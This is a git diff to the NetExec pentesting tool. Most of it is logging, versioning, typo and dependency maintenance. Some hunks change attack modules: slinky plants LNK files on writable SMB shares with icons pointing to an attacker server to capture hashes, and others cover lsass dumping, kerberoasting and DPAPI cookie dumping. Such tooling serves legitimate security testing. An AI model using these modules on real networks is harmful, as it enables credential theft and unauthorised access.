diff --git a/netexec.spec b/netexec.spec index d42488a14..67ff23459 100644 --- a/netexec.spec +++ b/netexec.spec @@ -38,6 +38,7 @@ a = Analysis( 'nxc.protocols.smb.smbspider', 'nxc.protocols.smb.passpol', 'nxc.protocols.mssql.mssqlexec', + 'nxc.parsers.ldap_results', 'nxc.helpers.bash', 'nxc.helpers.bloodhound', 'nxc.helpers.msada_guids', @@ -71,6 +72,7 @@ a = Analysis( 'dploot.lib.smb', 'pyasn1_modules.rfc5652', 'unicrypto.backends.pycryptodomex', + 'dateutil.relativedelta', 'sspilib.raw._text', ], hookspath=['./nxc/.hooks'], diff --git a/nxc/cli.py b/nxc/cli.py index 04f6ddc4c..e16062530 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -9,13 +9,20 @@ from nxc.paths import NXC_PATH from nxc.loaders.protocolloader import ProtocolLoader from nxc.helpers.logger import highlight -from nxc.logger import nxc_logger +from nxc.logger import nxc_logger, setup_debug_logging import importlib.metadata def gen_cli_args(): - VERSION = importlib.metadata.version("netexec") + setup_debug_logging() + + try: + VERSION, COMMIT = importlib.metadata.version("netexec").split("+") + except ValueError: + VERSION = importlib.metadata.version("netexec") + COMMIT = "" CODENAME = "nxc4u" + nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}") parser = argparse.ArgumentParser(description=rf""" . . @@ -34,6 +41,7 @@ def gen_cli_args(): {highlight('Version', 'red')} : {highlight(VERSION)} {highlight('Codename', 'red')}: {highlight(CODENAME)} + {highlight('Commit', 'red')} : {highlight(COMMIT)} """, formatter_class=RawTextHelpFormatter) parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)") @@ -95,7 +103,7 @@ def gen_cli_args(): sys.exit(1) if args.version: - print(f"{VERSION} - {CODENAME}") + print(f"{VERSION} - {CODENAME} - {COMMIT}") sys.exit(1) return args diff --git a/nxc/connection.py b/nxc/connection.py index bc5512b91..ac5955866 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -14,6 +14,7 @@ from impacket.dcerpc.v5 import transport import sys +import contextlib sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -125,6 +126,10 @@ def __init__(self, args, db, host): self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}") else: self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}") + finally: + self.logger.debug(f"Closing connection to: {host}") + with contextlib.suppress(Exception): + self.conn.close() @staticmethod def proto_args(std_parser, module_parser): diff --git a/nxc/logger.py b/nxc/logger.py index 51862a697..ce8598a37 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -11,8 +11,31 @@ from rich.logging import RichHandler import functools import inspect +import argparse +def parse_debug_args(): + debug_parser = argparse.ArgumentParser(add_help=False) + debug_parser.add_argument("--debug", action="store_true") + debug_parser.add_argument("--verbose", action="store_true") + args, _ = debug_parser.parse_known_args() + return args + +def setup_debug_logging(): + debug_args = parse_debug_args() + root_logger = logging.getLogger("root") + + if debug_args.verbose: + nxc_logger.logger.setLevel(logging.INFO) + root_logger.setLevel(logging.INFO) + elif debug_args.debug: + nxc_logger.logger.setLevel(logging.DEBUG) + root_logger.setLevel(logging.DEBUG) + else: + nxc_logger.logger.setLevel(logging.ERROR) + root_logger.setLevel(logging.ERROR) + + def create_temp_logger(caller_frame, formatted_text, args, kwargs): """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated""" temp_logger = logging.getLogger("temp") @@ -72,6 +95,7 @@ def __init__(self, extra=None): logging.getLogger("pypykatz").disabled = True logging.getLogger("minidump").disabled = True logging.getLogger("lsassy").disabled = True + logging.getLogger("neo4j").setLevel(logging.ERROR) def format(self, msg, *args, **kwargs): # noqa: A003 """Format msg for output diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 67feeca39..214b77b9c 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -3,7 +3,6 @@ from impacket.dcerpc.v5 import samr, epm, transport import sys - class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt @@ -41,6 +40,7 @@ def options(self, context, module_options): if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options): context.log.error("NAME and PASSWORD options are required!") + sys.exit(1) elif "CHANGEPW" in module_options: self.__noAdd = True @@ -87,8 +87,7 @@ def on_login(self, context, connection): # If SAMR fails now try over LDAPS if not self.noLDAPRequired: self.do_ldaps_add(connection, context) - else: - sys.exit(1) + def do_samr_add(self, context): """ @@ -178,7 +177,6 @@ def do_samr_add(self, context): samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName]) self.noLDAPRequired = True context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"')) - sys.exit(1) except samr.DCERPCSessionError as e: if e.error_code != 0xC0000073: raise diff --git a/nxc/modules/lsassy.py b/nxc/modules/lsassy.py index f4cf6c80f..693db6f2c 100644 --- a/nxc/modules/lsassy.py +++ b/nxc/modules/lsassy.py @@ -64,7 +64,7 @@ def on_admin_login(self, context, connection): context.log.fail("Unable to dump lsass") return False - parsed = Parser(file).parse() + parsed = Parser(host, file).parse() if parsed is None: context.log.fail("Unable to parse lsass dump") return False diff --git a/nxc/modules/msol.py b/nxc/modules/msol.py index 0daa3e6e1..0a2b44ccf 100644 --- a/nxc/modules/msol.py +++ b/nxc/modules/msol.py @@ -3,7 +3,7 @@ # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/ from sys import exit from os import path -import sys +from nxc.paths import TMP_PATH from nxc.helpers.powershell import get_ps_script @@ -49,14 +49,14 @@ def exec_script(self, _, connection): def on_admin_login(self, context, connection): if self.use_embedded: - file_to_upload = "/tmp/msol.ps1" + file_to_upload = f"{TMP_PATH}/msol.ps1" try: with open(file_to_upload, "w") as msol: msol.write(self.msol_embedded) except FileNotFoundError: context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!") - sys.exit(1) + exit(1) else: if path.isfile(self.MSOL_PS1): diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index f157c9459..fdb38a029 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -174,7 +174,7 @@ def on_admin_login(self, context, connection): self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") else: try: - exec_method = MSSQLEXEC(self.connection.conn) + exec_method = MSSQLEXEC(self.connection.conn, self.context.log) exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename) self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: diff --git a/nxc/modules/scuffy.py b/nxc/modules/scuffy.py index 900e25e6a..701995b27 100644 --- a/nxc/modules/scuffy.py +++ b/nxc/modules/scuffy.py @@ -1,5 +1,6 @@ import ntpath from sys import exit +from nxc.paths import TMP_PATH class NXCModule: @@ -44,7 +45,7 @@ def options(self, context, module_options): exit(1) self.scf_name = module_options["NAME"] - self.scf_path = f"/tmp/{self.scf_name}.scf" + self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf" self.file_path = ntpath.join("\\", f"{self.scf_name}.scf") if not self.cleanup: diff --git a/nxc/modules/slinky.py b/nxc/modules/slinky.py index 42aa626a3..3a9e3ab91 100644 --- a/nxc/modules/slinky.py +++ b/nxc/modules/slinky.py @@ -7,42 +7,55 @@ class NXCModule: """ Original idea and PoC by Justin Angel (@4rch4ngel86) Module by @byt3bl33d3r + Updated by @Marshall-Hallenbeck """ name = "slinky" - description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions" + description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions" supported_protocols = ["smb"] opsec_safe = False multiple_hosts = True - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options + def __init__(self): self.server = None self.file_path = None self.lnk_path = None self.lnk_name = None + self.ico_uri = None + self.shares = None self.cleanup = None def options(self, context, module_options): - """ - SERVER IP of the SMB server - NAME LNK file name + r""" + SERVER IP of the listening server (running Responder, etc) + NAME LNK file name written to the share(s) + ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico) + SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3) CLEANUP Cleanup (choices: True or False) """ self.cleanup = False if "CLEANUP" in module_options: self.cleanup = bool(module_options["CLEANUP"]) + context.log.debug("Cleanup set to True") if "NAME" not in module_options: context.log.fail("NAME option is required!") exit(1) + + if "SHARES" in module_options: + self.shares = module_options["SHARES"].split(",") + context.log.debug(f"Shares to write to: {self.shares}") if not self.cleanup and "SERVER" not in module_options: context.log.fail("SERVER option is required!") exit(1) - + + if "ICO_URI" in module_options: + self.ico_uri = module_options["ICO_URI"] + context.log.debug("Overriding") + + self.lnk_name = module_options["NAME"] self.lnk_path = f"/tmp/{self.lnk_name}.lnk" self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") @@ -50,28 +63,33 @@ def options(self, context, module_options): if not self.cleanup: self.server = module_options["SERVER"] link = pylnk3.create(self.lnk_path) - link.icon = f"\\\\{self.server}\\icons\\icon.ico" + link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico" link.save() def on_login(self, context, connection): shares = connection.shares() - for share in shares: - if "WRITE" in share["access"] and share["name"] not in [ - "C$", - "ADMIN$", - "NETLOGON", - ]: - context.log.success(f"Found writable share: {share['name']}") - if not self.cleanup: - with open(self.lnk_path, "rb") as lnk: + if shares: + slinky_logger = context.log.init_log_file() + context.log.add_file_log(slinky_logger) + + for share in shares: + # TODO: these can be written to - add an option to override these + if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]: + if self.shares is not None and share["name"] not in self.shares: + context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option") + continue + + context.log.success(f"Found writable share: {share['name']}") + if not self.cleanup: + with open(self.lnk_path, "rb") as lnk: + try: + connection.conn.putFile(share["name"], self.file_path, lnk.read) + context.log.success(f"Created LNK file on the {share['name']} share") + except Exception as e: + context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") + else: try: - connection.conn.putFile(share["name"], self.file_path, lnk.read) - context.log.success(f"Created LNK file on the {share['name']} share") + connection.conn.deleteFile(share["name"], self.file_path) + context.log.success(f"Deleted LNK file on the {share['name']} share") except Exception as e: - context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") - else: - try: - connection.conn.deleteFile(share["name"], self.file_path) - context.log.success(f"Deleted LNK file on the {share['name']} share") - except Exception as e: - context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") + context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") diff --git a/nxc/netexec.py b/nxc/netexec.py index 9b15d1cd0..4ff49e6aa 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -21,7 +21,6 @@ from os.path import exists from os.path import join as path_join from sys import exit -import logging from rich.progress import Progress import platform @@ -67,20 +66,8 @@ async def start_run(protocol_obj, args, db, targets): def main(): first_run_setup(nxc_logger) - root_logger = logging.getLogger("root") args = gen_cli_args() - if args.verbose: - nxc_logger.logger.setLevel(logging.INFO) - root_logger.setLevel(logging.INFO) - elif args.debug: - nxc_logger.logger.setLevel(logging.DEBUG) - root_logger.setLevel(logging.DEBUG) - else: - nxc_logger.logger.setLevel(logging.ERROR) - root_logger.setLevel(logging.ERROR) - logging.getLogger("neo4j").setLevel(logging.ERROR) - # if these are the same, it might double log to file (two FileHandlers will be added) # but this should never happen by accident if config_log: @@ -88,8 +75,8 @@ def main(): if hasattr(args, "log") and args.log: nxc_logger.add_file_log(args.log) - nxc_logger.debug("PYTHON VERSION: " + sys.version) - nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release()) + nxc_logger.debug(f"PYTHON VERSION: {sys.version}") + nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}") nxc_logger.debug(f"Passed args: {args}") # FROM HERE ON A PROTOCOL IS REQUIRED diff --git a/nxc/protocols/ftp/database.py b/nxc/protocols/ftp/database.py index 657846be1..1b50a4e51 100644 --- a/nxc/protocols/ftp/database.py +++ b/nxc/protocols/ftp/database.py @@ -74,7 +74,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3ec61c1bc..b84573f7a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -942,7 +942,7 @@ def asreproast(self): def kerberoasting(self): # Building the search filter - searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ "servicePrincipalName", "sAMAccountName", @@ -993,7 +993,7 @@ def kerberoasting(self): if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName} ") + self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ") else: answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs] except Exception as e: diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index 478a7ff92..3b45862e8 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -54,7 +54,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 7542ee318..9de7ea424 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -77,7 +77,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/rdp/database.py b/nxc/protocols/rdp/database.py index b42aca52b..3e2695867 100644 --- a/nxc/protocols/rdp/database.py +++ b/nxc/protocols/rdp/database.py @@ -57,7 +57,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a0c2e5c21..d8c289ff1 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -257,7 +257,6 @@ def enum_host_info(self): except Exception as e: self.logger.debug(f"Error logging off system: {e}") - def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) @@ -1010,10 +1009,9 @@ def groups(self): def users(self): if len(self.args.users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") - return UserSamrDump(self).dump(self.args.users) - def hosts(self): + def computers(self): hosts = [] for dc_ip in self.get_dc_ips(): try: @@ -1035,7 +1033,7 @@ def hosts(self): self.logger.highlight(f"{domain}\\{host_clean:<30}") break except Exception as e: - self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}") + self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}") break return hosts @@ -1491,12 +1489,14 @@ def dpapi(self): credential.url, ) - if dump_cookies: + if dump_cookies and cookies: self.logger.display("Start Dumping Cookies") for cookie in cookies: if cookie.cookie_value != "": self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") self.logger.display("End Dumping Cookies") + elif dump_cookies: + self.logger.fail("No cookies found") vaults = [] try: @@ -1537,6 +1537,9 @@ def dpapi(self): credential.url, ) + if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials): + self.logger.fail("No secrets found") + @requires_admin def lsa(self): try: diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index d973ca453..28083b5ec 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -193,7 +193,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 633b1a5d2..c3bae0b06 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -4,7 +4,6 @@ import logging import time -from io import StringIO from nxc.config import process_secret from nxc.connection import connection, highlight from nxc.logger import NXCAdapter @@ -182,26 +181,20 @@ def check_if_admin_sudo(self): self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") return - def plaintext_login(self, username, password, private_key=None): + def plaintext_login(self, username, password, private_key=""): self.username = username self.password = password - private_key = "" stdout = None try: if self.args.key_file or private_key: - self.logger.debug("Logging in with key") + self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") - if self.args.key_file: - with open(self.args.key_file) as f: - private_key = f.read() - - pkey = paramiko.RSAKey.from_private_key(StringIO(private_key)) self.conn.connect( self.host, port=self.port, username=username, passphrase=password if password != "" else None, - pkey=pkey, + key_filename=private_key if private_key else self.args.key_file, look_for_keys=False, allow_agent=False, ) @@ -228,13 +221,10 @@ def plaintext_login(self, username, password, private_key=None): # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey _, stdout, _ = self.conn.exec_command("id") stdout = stdout.read().decode(self.args.codec, errors="ignore") + except SSHException as e: + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}") except Exception as e: - if self.args.key_file: - password = f"{process_secret(password)} (keyfile: {self.args.key_file})" - if "OpenSSH private key file checkints do not match" in str(e): - self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password") - else: - self.logger.fail(f"{username}:{password} {e}") + self.logger.fail(f"{username}:{process_secret(password)} {e}") self.conn.close() return False else: @@ -287,7 +277,7 @@ def plaintext_login(self, username, password, private_key=None): self.server_os_platform, "- Shell access!" if shell_access else "" ) - self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}") + self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}") return True diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index 796a9869c..c4adedf71 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -99,7 +99,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/vnc/database.py b/nxc/protocols/vnc/database.py index 160e5512d..cb1a0a0ac 100644 --- a/nxc/protocols/vnc/database.py +++ b/nxc/protocols/vnc/database.py @@ -62,7 +62,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index ec69ce7f2..88b03d033 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -82,7 +82,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index 478a7ff92..3b45862e8 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -54,7 +54,7 @@ def reflect_tables(self): print( f""" [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch - [-] This is probably because a newer version of nxc is being ran on an old DB schema + [-] This is probably because a newer version of nxc is being run on an old DB schema [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`) [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) diff --git a/poetry.lock b/poetry.lock index 2f54a41fb..554c4b9cf 100644 --- a/poetry.lock +++ b/poetry.lock @@ -659,6 +659,20 @@ files = [ {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, ] +[[package]] +name = "dunamai" +version = "1.19.2" +description = "Dynamic version generation" +optional = false +python-versions = ">=3.5" +files = [ + {file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"}, + {file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"}, +] + +[package.dependencies] +packaging = ">=20.9" + [[package]] name = "exceptiongroup" version = "1.2.0" @@ -933,19 +947,19 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.6" +version = "3.1.10" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" files = [ - {file = "lsassy-3.1.6-py3-none-any.whl", hash = "sha256:d1a0e1d57ad5e969b09b5b039e367a189fad19d45ab7299aee4081d4abdf66a6"}, - {file = "lsassy-3.1.6.tar.gz", hash = "sha256:50b6b44331b606e67087cd07edcb0e3f256dda32e59da633d068deb378df657a"}, + {file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"}, + {file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"}, ] [package.dependencies] impacket = "*" netaddr = "*" -pypykatz = ">=0.6.2" +pypykatz = ">=0.6.3" rich = "*" [[package]] @@ -1497,6 +1511,25 @@ files = [ dev = ["pre-commit", "tox"] testing = ["pytest", "pytest-benchmark"] +[[package]] +name = "poetry-dynamic-versioning" +version = "1.2.0" +description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"}, + {file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"}, +] + +[package.dependencies] +dunamai = ">=1.18.0,<2.0.0" +jinja2 = ">=2.11.1,<4" +tomlkit = ">=0.4" + +[package.extras] +plugin = ["poetry (>=1.2.0,<2.0.0)"] + [[package]] name = "prompt-toolkit" version = "3.0.43" @@ -2152,6 +2185,17 @@ files = [ {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, ] +[[package]] +name = "tomlkit" +version = "0.12.4" +description = "Style preserving TOML library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"}, + {file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"}, +] + [[package]] name = "tqdm" version = "4.66.1" @@ -2283,4 +2327,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p [metadata] lock-version = "2.0" python-versions = "^3.8.0" -content-hash = "3cdc6000434a0894b1bd56175603b1722b6e8c56e29b4652891758ee8a603cd1" +content-hash = "1b8271b530579cd4359489ca5cf526e711853ce33a24309ac4d8c8e72609e6ad" diff --git a/pyproject.toml b/pyproject.toml index e1b311513..4f7348609 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,7 +36,7 @@ nxcdb = 'nxc.nxcdb:main' python = "^3.8.0" requests = ">=2.27.1" beautifulsoup4 = ">=4.11,<5" -lsassy = "3.1.6" # Doubt that this will work though +lsassy = ">=3.1.8" termcolor = "1.1.0" msgpack = "^1.0.0" neo4j = "^5.0.0" @@ -63,6 +63,7 @@ rich = "^13.3.5" python-libnmap = "0.7.2" argcomplete = "^3.1.4" python-dateutil = ">=2.8.2" +poetry-dynamic-versioning = "^1.2.0" [tool.poetry.group.dev.dependencies] flake8 = "*" @@ -71,8 +72,13 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=1.2.0"] -build-backend = "poetry.core.masonry.api" +requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +build-backend = "poetry_dynamic_versioning.backend" + +[tool.poetry-dynamic-versioning] +enable = true +pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)" +format = "{base}+{commit}" [tool.ruff] # Ruff doesn't enable pycodestyle warnings (`W`) or